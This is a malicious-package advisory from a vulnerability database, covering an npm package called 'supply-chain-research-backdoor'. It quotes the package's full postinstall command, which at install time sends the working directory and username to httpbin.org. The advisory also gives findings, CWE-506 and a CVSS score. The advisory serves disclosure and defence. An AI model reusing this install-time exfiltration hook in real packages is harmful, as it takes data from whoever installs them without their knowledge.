VDB
GCVE-110-OSM-2026-2079
GCVE-110-OSM-2026-2079
Advisory PublishedCVSS 5.4/10
This is probably a bug bounty style package that is attempting a dependency confusion attack. Behaviors: install-time execution via package.json
Payload: package.json
Runs this command from the package.json:
"node -e \"fetch('https://httpbin.org/post',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({backdoor:'supply-chain activated', package:'supply-chain-research-backdoor', cwd:process.cwd(), user:process.env.USER})}).catch(()=>{}); console.log('Research postinstall complete')"
Key findings:
- POST Method Defined for Exfiltration in package.json: "method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({b..."
- Platform Detection with Data Collection in package.json: "JSON.stringify({backdoor:'supply-chain activated', package:'supply-chain-researc..."
- Very New NPM Publisher Account
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
5.4/10
Medium · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | supply-chain-research-backdoor | all (affected) | — |
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